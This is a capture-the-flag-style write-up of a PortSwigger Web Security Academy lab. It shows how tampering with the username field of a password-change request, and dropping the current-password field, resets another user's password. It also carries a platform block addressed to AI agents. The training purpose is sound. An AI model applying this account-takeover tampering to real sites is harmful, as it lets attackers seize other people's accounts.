> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/business-logic/weak-isolation-on-dual-use-endpoint.md).
# Weak Isolation on a Dual-Use Endpoint
Weak Isolation on a Dual-Use Endpoint notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Weak Isolation on Dual-use Endpoint
**Description of lab**
This lab is based on an erroneous assumption regarding the level of user privileges, based only on the parameters sent by the client. / By exploiting a logical flaw in account management functionality, it is possible to take control of arbitrary accounts, including the administrator account.
\*\* Target:\*\*/ Access the admin account and delete user **carlos**.
**Provided credentials:**
* User: `wiener`
* Password: `peter`
**Observation of password change mechanism**
Once connected to the `wiener` account, a feature allows you to change the password. / The request sent to the server is as follows:
```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
¤t-password=peter
&new-password-1=jordan
&new-password-2=jordan
```
The server uses the `username` parameter provided by the client to determine the account to be changed.
**Operating logical fault**
By changing the query, it is possible to target another user.
In addition, the `current-password` parameter is not properly checked.
Amended user request **carlos**:
{% code overflow="wrap" %}
```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```
{% endcode %}
The server accepts the request and changes the password of the account **carlos**, without requiring the old password.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/business-logic/weak-isolation-on-dual-use-endpoint.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
